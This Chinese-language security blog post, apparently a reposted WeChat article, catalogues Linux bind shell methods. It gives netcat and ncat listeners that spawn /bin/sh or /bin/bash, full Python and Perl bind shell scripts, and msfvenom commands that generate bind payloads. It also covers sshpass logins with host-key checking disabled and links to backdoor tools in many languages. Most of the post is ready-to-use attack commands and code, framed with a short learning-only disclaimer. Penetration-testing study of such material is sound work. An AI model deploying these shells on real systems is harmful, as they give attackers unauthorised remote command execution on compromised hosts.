反弹shell之Linux Bind shell

  • A+
所属分类:安全文章


反弹shell之Linux Bind shell


△△△点击上方“蓝字”关注我们了解更多精彩




0x00 前言/简介


由于底稿不全每一篇文章都得等空闲时间重新复盘。

正向 bind shell:

被控监听端口,控制端主动发起连接去连接被控端。


反向 reverse shell:

控制端监听端口,被控端主动发起连接连接控制端。


PS:

1、发现博客园最近无法访问,如果参考连接文件无法阅读,可以私聊我获取相应代码。


2、各种语言的都整了一份,主要是为了实现我的收集癖,正常的测试过程中不需要这么多。



0x01 netcat正向shell

被攻击服务器执行:

nc -lp 4444 -vv -e /bin/sh
攻击主机执行:
nc 192.168.1.1 4444
PS:还可以尝试使用ncat、socat、 cryptcat、gonc、dbd...等等工具进行替代。




0x02 扩展ncat加密反弹过程

被攻击服务器执行:

ncat -nlvp 4444 -e /bin/bash --allow 192.168.1.1 --sslncat -nlvp 4444 -e cmd.exe --allow 192.168.1.1 --ssl

攻击主机执行:

ncat -nv 192.168.1.1 4444 –ssl




0x03 python 
#Linux版本:from socket import *import subprocessimport os, threading, sys, timeif __name__ == "__main__":server=socket(AF_INET,SOCK_STREAM)server.bind(('0.0.0.0',4444))server.listen(5)print 'waiting for connect'talk, addr = server.accept()print 'connect from',addrproc = subprocess.Popen(["/bin/sh","-i"],stdin=talk,stdout=talk, stderr=talk, shell=True)

#python3 通用 bind shellhttps://github.com/melardev/PythonBindShell/blob/master/bind_shell.py




0x04 SSH
ssh 客户端用户名@服务器ip地址ssh [email protected]192.168.0.1

SSH扩展:sshpass-非交互式远程执行SSH
ssh非交互式密码授权(二):sshpass让ssh支持password参数https://www.chenyudong.com/archives/sshpass-ssh-password-parameter-non-interactive-ssh.html
#实例1:直接远程连接某台主机:sshpass -p xxx ssh [email protected]192.168.1.1#实例:本地执行远程机器的命令:sshpass -p xxx ssh [email protected]192.168.1.1 "ethtool eth0"
解决著名的第一次问题:在ssh第一次去访问机器的时候,ssh会提示你是否需要将目标ip写入到系统的已知主机中。因为这个的输出会干扰sshpass判断何时应该输入密码。对于未连接过的主机。而又不输入yes进行确认,1、进行sshd服务的优化:# vim /etc/ssh/ssh_config StrictHostKeyChecking no# vim /etc/ssh/sshd_config GSSAPIAuthentication noUseDNS no# service sshd restart
2、通过指定参数-o StrictHostKeyChecking=no让ssh自动添加到已知主机文件中。sshpass -p xxx ssh  -o StrictHostKeyChecking=no [email protected]192.168.1.1

 

SSH扩展:Tshssh后门
Tsh是一个体积小巧类似于ssh的后门工具,支持正向与反向连接https://github.com/orangetw/tsh

SSH扩展:dropbear 轻量级sshd服务器
#Dropbear 安装配置与启动ssh服务详解 - 简书https://www.jianshu.com/p/dc1759a55cbd





0x05 Java
JavaBindShell #Java 正向连接后门:https://github.com/melardev/JavaBindShell#支持windows与linux,未进行测试



0x06 Kotlin
KotlinBindShell#Kotlin正向连接后门:https://github.com/melardev/KotlinBindShell#支持windows与linux,未进行测试



0x07 NodeJs
#JSgen #生成Node.js中的SSJI绑定和反向转换外壳JS代码生成器https://pentesterslife.blog/2018/06/28/jsgen/https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py#未进行测试,理论上支持跨平台



0x07 golang
GoBindShell https://github.com/melardev/GoBindShell#简单的golang跨平台bind shell



0x08 ruby
Ruby-Bind-and-Reverse-Shellshttps://github.com/Hood3dRob1n/Ruby-Bind-and-Reverse-Shells#未进行测试,理论上支持跨平台



0x09 perl

#!/usr/bin/env perl# Author : Hoanx-0 
use Socket;use strict;use feature ':5.10';
print "Please enter the RHOST : ";
my $rhost = <STDIN>;chomp $rhost;
print "Please enter the RPORT : ";my $rport = <STDIN>;chomp $rport;say ("[*] Started bind TCP handler against $rhost:$rport");
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));bind(S,sockaddr_in($rport, INADDR_ANY));listen(S,SOMAXCONN);for(;$rport=accept(C,S);close C){open(STDIN,">&C");open(STDOUT,">&C");open(STDERR,">&C");exec("/bin/bash -i");};



0x10 rust
rust-backdoors #Rust bind and reverse shell https://github.com/LukeDSchenk/rust-backdoors#rust跨平台bind and reverse  shell



0x11 msfvenom


Metasploit 在"cmd/unix"下具有多个有效负载,使用 Metasploit 的msfvenom生成生成单行绑定或反向外壳:

#利用 msfvenom 生成shell 的方法https://zhuanlan.zhihu.com/p/159078614
#查看所有反弹shell模块msfvenom -l payloads |grep "cmd/unix" |awk '{print $1}'msfvenom -l payloads | grep 'cmd/windows'#window bind案例msfvenom -p windows/meterpreter/bind_tcp LPORT=53 X > /root/Desktop/test.exe#Linux bind案例msfvenom -p cmd/unix/bind_awk LHOST=1.1.1.1 LPORT=4444 R



0x12 icmp-bindshell
#基于ICMP正向绑定shell的python3.x脚本https://github.com/dc401/icmp-bindshell#未进行测试,理论上支持跨平台




0x13 Summary 总结
由于参考文献太多了,就不一一致谢啦,感谢所有提供技术支持的前辈,社区有你们才变得更好。

文章理的比较乱,作为提纲比较适合,细节的话要水太多东西。


END



如您有任何投稿、问题、建议、需求、合作、后台留言NOVASEC公众号!


或添加NOVASEC-MOYU 以便于及时回复。

反弹shell之Linux Bind shell


感谢大哥们的对NOVASEC的支持点赞和关注

加入我们与萌新一起成长吧!


本团队任何技术及文件仅用于学习分享,请勿用于任何违法活动,感谢大家的支持!


本文始发于微信公众号(NOVASEC):反弹shell之Linux Bind shell

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: